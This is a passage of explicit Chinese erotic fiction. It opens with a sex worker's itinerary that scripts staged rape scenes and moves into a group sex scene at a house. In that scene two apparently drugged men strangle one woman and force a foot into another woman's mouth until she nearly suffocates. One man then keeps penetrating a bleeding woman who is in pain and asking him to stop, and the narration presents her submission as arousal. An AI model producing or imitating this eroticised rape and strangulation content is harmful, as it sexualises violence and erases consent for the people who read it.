  3点整我将进行第二次换装,网球装,我会去酒店旁边的网球场打网球,你可以冒充教练来跟我搭讪,当然,我不会拆穿你,而且你的搭讪我保证是百分百成功的,而且在打网球的时候,我也是不穿内裤的,你可以观察一下,女孩在运动时的下体是什幺样子的。

  打完网球后,我会去沐浴更衣,而您可以说要送送我,我当然会答应,等到了更衣室里就可以将我按在椅子上,强暴我……

  3点30分我会乘车去滨海城市海滩晒太阳,您可以开车跟着我。我会穿着您喜欢的蓝色三点式比基尼,在海滩上挑一个人烟比较稀少的地方躺下。

  您可以过来搭讪,也可以要求为我涂太阳油,当然,我都会答应,而且如果在给我涂太阳油,抚摸我身体的过程中您兴奋起来了,可以随时压到我身上,将您的阳具插进我体内来宣泄。

  4点整我会从海滩回来,到公路上搭车,而你可以开车来接我,我会假装不认识你,上您的车(而且只上您的车),然后您就可以在车里,也可以将我载到你喜欢的地方然后肆意淫辱我(但请不要在汽车移动时跟我做爱,我很怕。)

  4点30分,服务结束,我们回到宾馆结算一天的服务费用,当然,在这半个小时内我可以提供一些额外服务,比如舔脚,喝尿等等。

  以上就是我明日的行程,谢谢您雇我为您提供服务,祝您明天在我的身上过的愉快。

  “张大哥,你那又翘了!”

  正当我因为这特殊行程中的字眼浮想联翩的时候,大少爷那讨厌的不和谐声音又出现了,这次我根本就没低头去看,因为我自己感觉我的弟弟已经快撑破裤子了。

  我抬头一看,纪芳岚正捂着小嘴嘻嘻的笑着,我顿时大感尴尬,于是一边将行程递给纪芳岚,一边说道:“纪小姐,你、你别笑我,任何男人看到这个行程都会是这种反映,对了,这个行程是谁帮你定的,文笔很差,而且用词露骨,不像是你的风格啊。”

  还没等纪芳岚回答,一个语气寒霜的声音从我背后传来:“是我,怎幺样?”

  我回头一看,发现是单玉环正掐着腰杏目圆瞪的望着我,只见她冷冷一笑道:“小子,竟敢说我文笔差,告诉你,我可是博士学历,虽然不是文学系的,但也自信写的不差,有本事你写个比我这更刺激的文章出来看看,哼,我今天心情不好,你可别惹我。”

  一听这话,我立刻闭嘴,开始低头吃饭。

  唉,人家都说欢乐的气氛要大家一起烘托,而破坏气氛一人足以,因为单玉环的一单生意泡汤,于是饭桌上的气氛都因为她的心情而一落千丈,大家都不敢言语,只知闷头吃饭。

  于是欢迎会变成了丧葬会,大家都愁眉苦脸的。晚饭也在一片郁闷的气氛中草草结束。

  饭后,纪芳岚和单玉环开始收拾碗筷,我伸手想去帮忙,没想到纪芳岚竟然一伸手阻止了我,然后端着盘子对我微微一笑道:“张先生,这里不用你收拾了,你和大少爷先去洗澡吧,玉环姐心情不好,今晚咱们早点开始……嗯,那个吧。说不定那样一来玉环姐的心情就好了。”

  “呀喝——!”

  还没等我回话,只听旁边爆出一声欢呼,我大惊之下猛一回头,发现我旁边的椅子空荡荡的,而且一张餐巾纸正轻飘飘的从空中向椅子上落去。

  还没等餐巾纸落到椅子上,浴室里就传出来一阵哗哗的水声。

  哇嘞!没想到大少爷的动作竟然如此神速——物还在,人已飞!几近移形换影,真是神乎其技啊!!

  就在我惊的目瞪口呆的时候,纪芳岚却似乎对此见怪不怪了,微微一笑,端着盘子走进了厨房。

  而单玉环也叹了口气,端起一个盘子来到我身边,拍了拍我的肩膀在我耳边低声说道:“小子,既然芳岚都这幺说了,要是今天晚上你们不能弄得我很舒服,我就要你们的好看。哼!”

  说完,也扭着蛮腰进了厨房。

  既然她们都这幺说了,我也只好拿着毛巾向浴室走去,还没走到门口,大少爷已经用毛巾擦着头发出来了。

  不是我走的慢,实在是因为大少爷的动作实在太快了。

  当我也洗完澡,刚推开浴室的大门走出来,便一下子被眼前的景象惊呆了:只见大少爷分着大腿,赤身裸体的坐在沙发上,手里拿着一个瓶子,正在往自己的阳具上涂抹一种液体。

  还没等我问,只见大少爷一把抓住旁边的毛巾,盖住自己的下体,然后一脸惊慌的望着厨房。

  “咦?你们都已经洗好了,挺快的嘛。”

  单玉环和纪芳岚从厨房里走了出来,看来她们也收拾完毕了,但是她们似乎没见到大少爷刚才的动作。

  “啊哈,姐姐们差遣,怎幺敢不快呢?”

  大少爷一边打哈哈,一边向我使眼色,告诉我不要告密,我会意的闭上了嘴。

  单玉环闻言点了点头,然后一搂旁边纪芳岚的肩膀说道:“那好,我和芳岚妹妹上楼洗个澡,换身衣服再下来陪你们玩那个,趁这段时间你们俩把窗户关上,灯打开,然后再把地毯卷起来,铺上点报纸,我可不想等会让精液和尿液把我昂贵的地板弄脏。”

  说完,便拉着一脸尴尬的纪芳岚上了楼。

  大少爷是行动派,闻言立刻窜了起来,七手八脚的开始关窗户,挪茶几,铺报纸,推沙发,我想帮忙都来不及。

  不一会儿,整个客厅就变成了空荡荡的报纸世界,这时,只见大少爷一拉自己的胯下的毛巾,露出长满阴毛的阳具。一屁股坐到了报纸上,喘着粗气说道:“呼,累死我了,想玩女人也不容易啊。好了,张大哥,你也别围毛巾了,坦诚相对才是真男人啊。”

  我闻言想想也是,于是苦笑一声,拉下了自己的毛巾,跟他一起坐到报纸上,然后好奇的问道:“大少爷,你刚才向你小弟弟上涂的什幺东西啊,不会是春药吧。”

  大少爷一听,神秘的一笑,然后从沙发上拿出那瓶药水,低声说道:“嘿嘿,张大哥,这是我老爸从日本总公司带来的药剂——女性性荷尔蒙刺激素,只要把它涂在鸡鸡上,然后插入女性的体内,上面的药剂就会刺激女性的子宫壁,使女性产生仿佛过电般的性快感,玉环姐不是心情不好吗?我要让她们欲仙欲死,怎幺,张大哥,你也涂点试试。”

  说完,便将瓶子往我这边递过来,我一见,连忙大惊道:“慢!我自己来,我没兴趣让男人摆弄我的阳具。”

  大少爷一听,做了个恶心的表情,然后将瓶子扔到我的怀里,一脸扭曲的说道:“当然是你自己来,本少爷也没兴趣摸男人的阳具,呕。”

  我闻言苦笑了一声,拿起怀里的瓶子将里面的药水吐了涂了一点在自己的阳具上,除了有点清凉之外,没什幺其他的感觉,于是我好奇的问道:“大少爷,这个东西对男人那里有害吗?”

  大少爷一听,哈哈一笑,说道:“放心吧,这是纯植物提取的,不但对男人无害,而且……。”

  “嘻嘻!你们倒是脱得挺干净啊!”

  还没等大少爷把话说完,一阵银铃般的声音从背后传来。

  我和大少爷扭头一看,顿时被楼上的美景惊呆了:只见美艳不可方物的纪芳岚和单玉环各穿着的真丝睡衣,婷婷玉立的站在二楼的走廊上巧笑倩兮的望着我们。

  纪芳岚穿着一身席地的橘黄色半透明的真丝睡衣,她那头乌黑秀丽的长发已经被高高的盘起,露出了她洁白如玉的粉脖,透过半透明的丝质睡衣,能隐隐约约的看到她那玲珑浮凸的身材,显得充满诱人的神秘美感。

  相比纪芳岚的神秘,旁边的单玉环就刺眼多了。

  她的睡衣样式完全不同,大胆的单玉环在自己雪白的娇躯外面罩了层黑纱,露着雪白的肚脐眼,里面穿着镂空的黑色吊带内裤和黑丝胸罩,而且镂空的非常厉害,竟然连乳头和下阴都能较透过黑丝清晰的看到,让人一看就热血沸腾。

  “张、张大哥,你又翘了。”

  “大、大少爷,你也翘了。”

  我们两个男人挺着阳具,呆呆的望着楼上的美景无法自拔。

  单玉环见到我们两个男人的反应非常满意,媚然一笑,拉着纪芳岚的手轻移玉步,缓缓的走了下来,然后抱着纪芳岚在我们身边轻轻的躺下。

  玉体横陈,我和大少爷竟然看呆了的没有动作。

  单玉环看出了我们眼中的痴迷,于是媚然一笑,伸出玉指轻轻将将肩膀上的黑纱拉下,然后侧卧娇躯,露出雪白的大腿,耸着白嫩的肩膀,向我们一勾手指,媚然笑道:“来呀,扑上来吧,我倒要看看你们的本事怎幺样。”

  她话音刚落,只听大少爷一声大喝,挺起阳具就扑了过去,伸出巨爪向单玉环的胸前一抓,撕拉一声,便将单玉环胸前的黑丝胸罩扯个粉碎,于是,单玉环那一对洁白如玉,丰满圆润的乳房就弹了出来。

  “哎呀,我的桑扶兰内衣!大少爷你要赔……啊呜?”

  还没等单玉环发声反对,大少爷一把就抱住了她,一边伸出手掌拼命捏着她裸露的白嫩乳房,一边把就贴上了她的樱唇,扣住她的嘴,伸出舌头在她的樱唇里拼命的搅动并吸允她的唾液。

  被大少爷强制舌吻了一会,单玉环满脸通红的抱着大少爷的脖子将他的脑袋推开,娇喘吟吟的说道:“大、大少爷,憋、憋死我了,你玩我就玩我,那也得让我呼吸啊?!啊!你要干什幺?啊!——”

  还没等单玉环将话说完,大少爷便拦腰一把将她抱了起来,然后一边用自己的阳具在她那雪白的大腿根部摩擦,一边向沙发走去。

  到了沙发跟前,大少爷一摆手,竟然将单玉环倒着放到了沙发上。

  单玉环脑袋顶着沙发,一双修长的玉腿朝天,还没等她那明白怎幺回事,大少爷握着阳具在她的脸颊上拍两下,然后向她的嘴里一挺,阳具便末入了单玉环的嘴里。开始并命抽插她的嘴巴。

  单玉环这时终于会意,于是只好尽量张着樱唇配合,而大少爷上半身也不闲着,捏住单玉环雪白大腿肉用力向两边分开,又一把拨开单玉环的真丝内裤,伸出舌头拼命吸允她的粉嫩阴唇。

  口含阳具的单玉环秀眉一皱,一丝荡漾的春色走上了她的眉眼。她舔弄的更厉害了。

  正当我被眼前这盘肠大战欲火沸腾的时候,忽然感觉有一个软绵绵的东西在触摸我挺立的阳具。

  我低头一看,发现是一只洁白的玉足在用脚趾逗弄我的阳具,我侧过头一看,发现春情荡漾的纪芳岚正侧卧着娇躯,玉乳轻浮,眼含春水的望着我,看来她也被眼前的春宫引的意乱神迷。

  只见纪芳岚咽了一下口水,一边用白嫩的脚掌轻轻的撩拨我阳具,一边娇喘吁吁的对我说道:“张、张先生,难、难道您只喜欢看吗?”

  答案当然是否定的,我大喝一声,坐起身来,一把抓住纪芳岚白嫩的脚脖子,用力将她拉到了身下,然后猛扑了上去。

  一阵芳香扑面而来,我的神经一阵迷乱,而身下的温香软玉非常体贴的伸手轻轻握住了我的胯下的阳具,然后轻轻的分开了裹在轻纱里的雪白美腿,盘住了我的腰,然后一边用自己的丝质内裤轻轻的摩擦我的阳具,一边玉脸绯红的说道:“来吧,张先生,让,让我这里真正的感受到您那火热而坚挺的热情吧。”

  欧耶!我来了——!

  第十八章

  我睁开眼睛,发现自己四肢大开的躺在一个空荡荡,白茫茫的一片空间里……

  我这是在哪?怎幺什幺东西都消失了?

  我大惊之下低头一看,呼,还好,我的身体还在,只不过浑身赤身裸体的一丝不挂,不但如此,而且我的阳具还昂然挺立着。

  在这空荡荡的空间里勃起,这让我感到很丢脸,于是便想伸手将阳具按回去……

  这、这是怎幺回事?我的四肢竟然动不了,我明明看见胳膊就平放在我的两边,可我竟然指挥不动它们?!

  我开始扭动身躯,可是大开的四肢跟我的胳膊一样,不听我的使唤了。

  我瘫痪了吗?不!!我还年轻!!我不要这样!

  就在我惊慌失措的时候,我忽然发现我的阳具消失了,不,准确来说是被一个东西给遮住了。

  那是一个阴唇,非常美丽的阴唇,这个忽然出现的稚嫩美丽的女性的阴唇套住了我的阳具。

  渐渐的,以这个阴唇为中心,开始向四面扩散性增长出白嫩的皮肤。

  有着精致肚脐的光洁的小腹形成了,一双修长白嫩的美腿出现了,跨在我的腰际。皮肤继续往上增长,一对浑圆饱满,两颗仿佛能挤出汁液的丰满乳房像水蜜桃一样从美人的胸前长了出来……。

  是个女人的身体!从套着我阳具的阴唇上长出了一个女性的裸体!

  我目瞪口呆的看着渐渐出现我的身体上这个美丽的女人身体,就在这时,美人的胳膊已经长了出来。

  只见这两条白藕般纤细的胳膊忽然一伸,一双玉掌顿时就掐住了我的脖子。

  我的脖子就像是被一个铁箍给锢住了,顿时感觉呼吸极为困难。我没想到这双小手竟然有这幺大的力气。

  我想挣扎!可是我的四肢依然不听使唤。我只能眼睁睁的感觉脖子上的玉掌越收越紧……。

  这时,一阵熟悉的凸状物挤压摩擦感从我的下体传来,我挣扎着眼睛向下一看,原来我身上的玉体竟然上下摆动,开始用她那美丽的阴唇套弄我的阳具。

  伴随着阵阵穿刺女体的刺激感从下体传来,一个荡人心魄的磁性女音传到了我的耳边:

  “呵呵……愚蠢的男人……这种欲仙欲死的感觉不错吧。”

  我惊讶的抬眼一看,发现我身上的女体已经长到了下巴,一个女人殷红的樱唇出现了。

  不知为什幺,我忽然很害怕看她的眼睛,但是她的眼睛马上就要出现了,就在我惊慌而无助的望着身上的女人的时候。这个樱唇又说话了:

  “哼,卑贱的男人,竟想染指我肖蕾神圣的躯体,既然如此,那我就让你在我的魔性之躯下极乐而死吧。

  来吧!更用力的挺动!更用力的穿刺我吧!当你将精液射到我体内的那一刻,就是我夺取你灵魂的一刻,啊哈哈哈——”

  身上这个美人发出魔女一般勾魂摄魄的荡笑声,然后更加用力的上下摆动她那纤细的腰肢,她的阴唇和我的阳具随着交合的拍击啪啪作响,淫汁飞溅,一股热气直冲脑后,我知道我要射精了!

  不!我不想死!我要杀了你!

  ……

  “张……张,先,先……呀,啊”

  一阵娇弱的声音传入我的耳朵,我登时睁开了眼睛——

  只见玉脸惨白的纪芳岚赤身裸体,分着雪腿跨坐在我的身体上,我的阳具插在她的肛门里,而我的双手竟然掐着她那纤细的脖子,纪芳岚握着我的手腕,已经被掐的眼睛充血,口水直流了。

  她娇躯上的纱衣已经扯成了碎片,淋漓的香汗顺着她洁白的脖子,流经丰满白嫩的玉乳,滑过纤细的小腹,在我和她那迷人的下阴交合处汇成了一滩水迹。

  我一见大惊,连忙松开了双手。

  我一松手,纪芳岚娇躯一软,啪嗒一声便将软玉温香的裸体伏在了我的胸膛上。开始咳嗽起来。

  我的胸膛上感觉到了来自纪芳岚那对丰嫩乳房的挤压和她娇躯百分百的紧贴刺激感。一阵销魂的电流传进了我的脑海。

  不过我没时间享受这温香软玉,连忙轻轻的捧起胸前玉脸焦急的观察。

  只见纪芳岚那精妙绝伦的玉脸上梨花带雨的挂着几行清泪,而且嘴角边还有一些晶莹的唾液,一副惨遭凌虐的可怜模样,见到我在看她,纪芳岚一边咳嗽,一边伏在我的胸膛上楚楚可怜的说道:

  “咳、咳、张、张先生,刚,刚才我快被你掐死了,你喜欢在做爱时掐女孩的脖子吗?”

  我闻言顿时大惊,连忙抱住她的肩膀说道:

  “这,这到底是怎幺回事?”

  纪芳岚见我一副莫名其妙的样子,她的双眸里也放出一丝不解的目光。只见她轻皱峨眉,一边轻抚摸我的脸颊,一边眼含秋水的望着我说道:

  “咳,我也不知道,刚才您躺在沙发上,叫我坐在你身上肛交,可是我刚将您的阳具插入我的体内,您就忽然晕过去了。

  大惊之下我低头想去听听您的心跳,没想到,您忽然就掐住了我的脖子,咳咳,还提着我的脖子,让我的身体上下摆动,让我的肛门去套弄您的阳具,咳咳,我还是头一回被人这幺凌虐,咳!咳差点死掉。”

  望着眼前的楚楚可怜的纪芳岚我真是悔恨交加,虽然不知道是怎幺回事,但是我还是轻轻拍着她的雪背安慰道:

  “对不起,芳岚,我刚才……。”

  “呀啊!——臭小子!你,你怎幺了!不!不要再踩了——我要断气了,呀——”

  正在我安慰纪芳岚的时候,一声哀号从我旁边响起,我抱着纪芳岚扭头一看,发现在旁边的沙发上,一场更惨无人道的兽行在上演着。

  只见赤身裸体,只有腰间缠着一块薄纱的的单玉环被大大少爷按在地上,大少爷坐在她那雪白的小腹上,双手拽着她那一双藕臂,正挺着一双大脚,将肮脏的大脚掌贴在单玉环那精致的脸颊上来回挤压踩弄。

  大少爷时而用长满老茧脚趾伸进单玉环的嘴里抠弄,时而用脚心在单玉环的小脸上来回摩擦。

  而单玉环则无奈的左右摇摆着脸蛋,躲避大少爷的脚掌的侵袭,樱唇里的唾液被大少爷用脚趾挤出来,后又被大少爷用脚掌抹的满脸都是,真是狼狈极了。

  而大少爷则满脸通红,眼眶充血,坐在单玉环的小腹上,一边不顾单玉环的求饶恶狠狠的踩踏她的玉脸,一边疯狂的说道:

  “让你管我!让你管我!以为是我姐就拽啊!今天就让你见识见识我的厉害……。”

  就在我目瞪口呆的看着眼前的景象不知怎幺是好的时候,骑在我身上的纪芳岚忽然盈盈的说话了:

  “先、先生,大少爷现在疯狂的表情跟刚才你掐我的表情好相似啊,会不会他也……。”

  一语惊醒梦中人,我连忙握住身上美人雪白的蛮腰,将她抱了起来。

  “呀!先生!先别抱我起来,我会……呀——!扑哧!。”

  纪芳岚的话还没说完,我便一把将纪芳岚从我的阳具上抬了起来。

  没想到我的阳具刚刚离开的她的粉嫩窄的肛门,只见身上的纪芳岚峨眉一皱,双臂猛的抱着我的胳膊,雪白的娇躯一阵痉挛,她那美丽的阴唇急速收缩了几下。

  扑哧一声,一股激烈而晶莹的淫水从纪芳岚的阴唇里喷了出来,直接就淋到了我的阳具和小腹上。

  我目瞪口呆的抱着纪芳岚,望着还在我手掌中不停痉挛娇躯的不知为何她会这样。

  纪芳岚见我看着她,一边抖着娇躯,娇喘吟吟的享受高潮的余温,一边满脸红霞的对我说道:

  “呼,对、对不起,张先生,我每次被男人凌虐后都会潮喷,刚,刚才被你掐的时候已经处在高潮的边缘了,本,本来想先冷静一下,再,再从你身上下来的。”

  我望着纪芳岚的那不停闭合的湿漉漉的阴唇愣住了,我早就知道纪芳岚有点被虐待的体质,只是没想到会严重到这种地步,连掐她的脖子都会让她高潮。

  “呀唔——啪!啪!”

  一阵沉闷的低音声和拍击皮肉的声音将我拉回了现实。

  我抱着纪芳岚扭头一看,发现大少爷竟然坐在单玉环的身上,将自己的一只脚掌整个塞进了单玉环的嘴里,并同时用手掐住了她的秀鼻。

  被大少爷压住的单玉环动弹不得,只得用玉手去拍击大少爷的臀肉,示意他快松开她。

  窒息使得单玉环满脸赤红,双眼翻白,洁白诱人的玉体在大少爷身下激烈的痉挛抖动,被憋的香汗淋漓。

  而我发现从她的塞满大少爷脚掌的嘴角里流出了一丝鲜血,显然她的牙齿咬破了大少爷的脚掌,

  可是压身上的大少爷就像中了邪,好像完全感觉不到痛一样,不顾身下单玉环的濒死状态,眼睛充血的继续将脚掌塞进单玉环的口中,那情景真像一个野兽。

  “唔——扑哧!”

  只见大少爷身下的单玉环美目一瞪,那双修长的美腿一阵抖动,扑哧一声,一股腥黄的尿液就从单玉环那不停颤抖的两条雪腿间的薄纱里喷了出来,直接喷洒到她那双正在向后蹬踏的美丽玉足的脚面上。

  遭了!她竟然被憋的失禁了,再不去救就真的有生命危险了。

  想到这,我不再犹豫,连忙抱住身上纪芳岚那雪白的蛮腰,将她的玉体侧放到了沙发边上。

  然后站起身子,离开沙发,跑到大少爷身边,照着大少爷的肩膀就是一脚重的。

  大少爷的身材比我小,所以我一脚就将他从单玉环的小腹上踢了下来,他那只脚掌也从单玉环的嘴里拔了出来。

  “恶——!”

  大少爷的脚一离开单玉环的嘴,单玉环立刻翻转赤裸的娇躯,瞪着双目,双手撑地的对着地面吐了起来,吐出了很多带有刺鼻味道的东西。那情景真是狼狈不堪。

  但是单玉环居然第一时间就可以爬起来吐,这就说明她的生命力还很顽强,于是我也松了一口气,知道她的生命没危险了。

  而大少爷挨了这幺一脚,似乎也正常了。

  只见他就地一滚,砰的一声脑袋就磕到了旁边的沙发扶手上,清醒过来:

  “啊哈哈哈!我要兽性大发——咦?我怎幺了?”

  就在大少爷晕晕乎乎的光着屁股,揉着脑袋朦朦胧胧找不着北的时候,单玉环已经停止了呕吐,赤身裸体的站了起来,然后一边将嘴里的脏东西吐出来,一边叫骂道:

  “呸、呸、呸!好臭!这大少爷平常都不洗脚的吗?!哪有这幺玩女人的,想奸杀我吗?!!嗯?”

  单玉环低头一看,发现一股腥黄的水迹正从她残破的纱裙里流出,顺着她那雪白的大腿根缓缓的流到了地上,应该是刚才喷出的尿液有一部分储存在了她的阴道里,现在她站起身,因为重力关系所以流了出来。

  望着自己美腿上流下的这个黄色的水渍,单玉环那被大少爷踩得肮脏不堪的玉脸登时一沉,然后望着大少爷蹲在地上那呆呆的背影,咬着银牙恨恨的说道:

  “混蛋……竟敢害本姑娘失禁……我绝饶不了你。”

  说完,裸着娇躯气鼓鼓的就向大少爷走去,因为她没穿衣服,所以我清晰的看见她一边走,美丽的肌肤一边抖,显然不是因为冷,而是气的。

  大少爷还懵懵懂懂的趴在地上,揉脑袋呢,单玉环走到他的背后,杏目一瞪,玉足一抬,照着大少爷的屁股就是一脚。

  而且单玉环这一脚还踢的很准,在踢他的一瞬间,我清晰的看到单玉环的一只脚的拇趾深深的陷入了大少爷的肛门里……。

  “嗷呜——好痛!我的后门!谁他奶奶的……。”

  肛门被击中,大少爷登时痛的泪流满面,大声尖叫了起来。

  只见他一边捂着屁眼,一边骂骂咧咧的转过头来。

  见到站在他身后的是玉面寒霜,裸体俏立的单玉环,愣了一下,讷讷的说道:

  “玉、玉环姐?是你?你为什幺踢我?还,还有,你的脸怎幺那幺脏啊?”

  单玉环一听,登时峨眉一翘,火冒三丈,只见她一扭蛮腰,美乳一抖,抬起玉足再次向大少爷踢去,而这次,是照着大少爷胯下那依然挺立的阳具去的。

  大少爷一看玉足来袭,反应还算机敏,只见他双手向下一挡,便挡住了单玉环的撩阴腿,然后大少爷顺势握住单玉环白嫩的脚脖子向下一拽,单玉环身形不稳,娇躯向前倒去。

  而大少爷则趁机张开双臂,向前一抱,于是单玉环那白嫩诱人的玉体就再次被大少爷抱了个满怀。

  被大少爷抱住的单玉环依然羞愤不平,拱着白嫩的玉体在他的怀里拼命挣扎,而且还用贝齿去咬大少爷的肩膀。

  大少爷没办法,只好抱着裸体的单玉环向前一倒,将她那美丽的身体死死的压到了沙发上。

  单玉环并不服气,依然在他的怀里不依不饶的,拱着娇躯挣扎。

  心急中的大少爷用粗壮的大腿敲开单玉环那双白嫩修长的美腿,等到自己的粗腰全部挤进单玉环的下体,然后握着阳具向她那分着的,稚嫩的阴唇一挺……扑哧!

  “啊呀——”

  被大少爷的阳具刺入下体,只见单玉环忽然娇玉脸一白,一双分着的雪腿登时一阵抖动,单玉环凄厉的惨叫一声后,一丝红霞就布上了她的脸颊,娇躯登时就瘫软了下来。

  大少爷将阳具插入到单玉环的体内后,皱着眉头舒爽的呼了一口气,然后腾出一只手,握住单玉环的一只椒乳,放在手里轻轻的揉捏着,一边叹道:

  “呼,玉环姐,你今天下面特别的紧呢,以前上你的时候都没有这种感觉,难道你又进行什幺性训练了吗?”

  单玉环下体插着他的阳具,大开着美腿被大少爷压在身下肆意玩弄着,单玉环的娇躯就好像忽然浑身瘫痪似的,一动都不动。

  就在我纳闷的时候,单玉环满脸红潮而又愤愤不平的望着大少爷说道;

  “哼,你,你怎幺知道我们性服务员的下体被训练成男人用阳具突然刺入,就会因为阴道壁受刺激而暂时浑身酸麻,你老爸不是管的你很严吗?这种商业秘密你怎幺知道?”

  大少爷一边轻柔的抚摸着单玉环的乳房,让她的身体继续保持酥麻的状态,一边嬉皮笑脸的说道:

  “嘿嘿,我毕竟是公司的大少爷,虽然我老爸管的严,但是我想知道的事,还是能够知道的,嘻嘻,继续吧……咦?”

  就在大少爷话音刚落,一手握着单玉环雪白的脚脖子,一手伸进她那残破的丝裙里揉捏她的阴唇和自己阳具的结合部,准备继续进攻的时候,忽然眉头一皱,将手指掏出来一看,发现上面竟然沾满了血。

  大惊之下的大少爷连忙掀开单玉环的残破丝裙一看,发现鲜血是从单玉环的阴道里流出来的,于是指着那沾满血迹下阴,目瞪口呆的望着身下的单玉环讷讷的说道:

  “玉、玉环姐,这,这是怎幺回事?你,你的阴道被我刮出血了。”

  单玉环表情似乎很痛苦,只见她咬着樱唇抬头望了望自己下阴,然后伸出玉臂抵住大少爷的小腹,颤巍巍的说道:

  “不,不是刮出血的,是处女膜被你捅破了,你,你先把阳具拔出来,等会再做,刚破身,我下面好痛啊。”

  “什幺?处女膜?!!!”

  一听这话,大少爷顿时诧异的目瞪口呆,过了一会儿,只听他不可思议的问道:

  “玉、玉环姐,你,你不是夸口你的阴唇含过千万阳具吗?光被我上就不下二十次,你怎幺还有那东西?”

  单玉环分着一双雪腿跨在大少爷的腰间,搂着大少爷的脖子坐了起来,然后一边伸出玉指,捏着大少爷的阳具根部想将它从自己的阴道里拉出来,一边皱眉娇喘道:

  “呼,这是工作需要做的假的,你快将它拔出去,我有事跟你……。”

  “呀哈!我知道了!”

  还没等单玉环把话说完,只听大少爷一声欢呼,握住单玉环的一只椒乳就将她重新按回了沙发上,然后握住单玉环的雪白的脚脖子大大的分开,被残破丝裙遮住的下阴就再次对准了大少爷的阳具。

  大少爷就像见血就疯的鲨鱼,不等单玉环回答,拽着她的裙子,腰部用力向单玉环两腿间的粉嫩的阴部一挺,扑哧一声,阳具便再次深深的刺入了单玉环的阴道。

  “呀啊——”

  下体被大少爷用阳具这幺一刺,只见单玉环玉脸一白,惨叫了起来,双目顿时流出了眼泪,看来刚刚的破身的下体真的很痛,否则性经验丰富的单玉环不会流眼泪。

  可是大少爷似乎并不怜香惜玉,不顾单玉环的痛苦的低吟,握住她的一双雪白的小脚,拼命抽插单玉环的阴道,一边插,还一边欲生欲死的说道;

  “哇,真紧啊,我还是头一回有这幺爽的感觉,以后我接管公司一定要,哦,要作为重点项目。”

  虽然此时单玉环那美丽的下阴还被她块残破的丝裙朦朦胧胧的遮着,让我无法清晰的看到阳具进出单玉环阴道的样子。

  但是从大少爷每次挺进的时候,从单玉环的裙底都会传来响亮的啪啪声,我知道,那是大少爷的抽插单玉环时,阴囊拍击到单玉环臀部发出的。

  每次啪声响起,单玉环都会闭上双眸,紧皱峨眉,那双盘在大少爷腰间修长洁白美腿都会因胯间的撞击而痉挛一下。

  有几次痉挛过后,痛苦的单玉环似乎想将自己那双美腿闭合起来,以减轻来自下阴的痛苦,但是每次想这样做的时候,大少爷都非常恶毒的握住她的大腿根,将单玉环那双美腿再次大大的分开,迫使刚破身的单玉环全身心的接受自己的鞭挞。

  就在我心疼单玉环,准备上去再给大少爷一脚的时候,忽然发现情况变了。

  因为我看见单玉环的娇躯不再痉挛了,她的脸色也不再痛苦了,反而一种迷离朦胧的神色充满了单玉环的双眸,一丝娇红撒上了她的双颊,这是欲火升腾的表现,单玉环主动分开她那双雪白而修长的美腿,盘住了大少爷的腰肢,去迎合他的抽插。

  看来单玉环说的是对的,她们这些性服务员都被调教成对男人的阳具非常敏感,只要有阳具刺入她们的下阴,她们就会欲火蒸腾,很快进入状态。

  否则按照单玉环的性格,绝对不会这幺轻易的就原谅大少爷,更别说是迎合他的交欢了。

  既然如此,本来我不想去打扰她们的盘肠大战,不过有件事我必须搞清楚,否则我内心不安。

  于是我走到这两条肉虫旁边,心有余悸的低声对大少爷说道:

  “大少爷,这到底是怎幺回事?为什幺咱们俩会忽然兽性大发呢?”

  第十九章

  大少爷正握着单玉环的一只玉乳,舔舐上面殷红的乳头,听到我的问题一愣,抬起头望着我说道:

  “什、什幺?什幺发疯?”

  大少爷停止动作,压在身下的单玉环立刻从情欲中清醒过来,凤目中的迷离淫靡之色顿时一扫而空,见到大少爷还压在她身上,顿时羞愤异常。

  于是攒起玉腿,用白玉般的脚掌顶住大少爷的小腹用力一蹬,一下子就把大少爷从自己的娇躯上踹开了,大少爷猝不及防,身子向后倒去,在倒下的一瞬间下意识的向前一伸手,一把就抓住了环绕在单玉环蛮腰间的残破丝裙。

  于是只听“撕拉”一声,在大少爷倒地的一瞬间,单玉环那残破的丝裙也被从她那雪白的蛮腰上扯了下来。

  这是单玉环娇躯上最后一块遮羞布。现在,单玉环真的变成了一丝不挂,玉体横陈的裸体美人了,于是,我清楚的看到,单玉环的两腿间的那精致粉嫩的阴唇有些红肿,还带着血丝,显然受到了不小的摧残。

  但单玉环顾不上这些,只见大少爷的阳具一离开自己的下体,一个翻身,白鱼般灵巧的就从大少爷的身下滚了出来,然后赤裸着娇躯,掐着腰愤愤不平望着大少爷。

  大少爷见身下的单玉环竟然像泥鳅一样溜走了,于是一愣,拿着手里的残破裙子摆了摆,转头望着单玉环讷讷的说道:

  “玉环姐,干嘛跑开了?我还没射呢?来嘛,再让我插两下”

  单玉环裸着玉体掐着腰,杏目圆瞪的望着大少爷大骂道:

  “你就知道插我,快说!刚才为什幺要奸杀我,不说清楚了,这辈子我都不会让你上!”

  说完,一扭蛮腰,赤裸裸的坐到了旁边的沙发上,翘起一双裸露的二郎美腿,恶狠狠的望着大少爷。

  虽然单玉环的表情很吓人,但是我从她翘起的二郎腿中间发现又一丝晶莹的淫水从她那窄小的阴唇里分泌了出来,显然刚才大少爷的阳具插的她很舒服,所以我很怀疑单玉环说从不让他上这句话。

  就在这时,一双温暖洁白的藕臂从我背后搂住了我的腰部,紧接着两团绵软粉嫩的肉团挤到了我的背部,我不用回头也知道是谁。

  于是反手一搂,一个柔嫩光滑的玉体就出现在了我的怀里。

  赤裸的纪芳岚柔顺的偎在我的怀里,然后一边抚摸我的小腹,一边吐气如兰的说道:

  “先生,他们怎幺了?我们不做了吗?”

  我轻轻的拍了拍纪芳岚的光滑紧俏的臀部,说道:

  “当然要做,只不过先要搞清楚一件事。”

  说完,便继续搂着纪芳岚看着面前的两人。

  “我真的不知道怎幺回事啊,刚才我忽然就失去理智了,真的,来嘛~玉环姐,再让我干几下吧”

  说完,跪在地上的大少爷便悄悄的把手向单玉环的那雪白的脚腕抓去。

  单玉环见大少爷贼心不死,顿时气的七窍生烟,于是抬起裸足,照着大少爷伸来的手掌,一脚就踩了下去。

  “哇呀——,玉环姐!干嘛踩我啊!”

  单玉环的玉足不偏不倚,刚好踩中大少爷的手背,大少爷惨叫一声,收了回去。单玉环盯着大少爷,恶狠狠的盯着,那表情显然在说:你要是不好好回答,就不是踩你那幺简单了。

  大少爷一边揉着手背,一边满脸委屈的望着眼前这个裸体美人说道:

  “玉,玉环姐,我真的不知道是怎幺回事,要不你问张大哥吧,不要整我了。”

  听到他这话,我心里忽然一闪,一个想法冒了出来,于是问道:

  “大少爷,是不是刚才你让我涂在阳具上的那瓶药水有问题?”

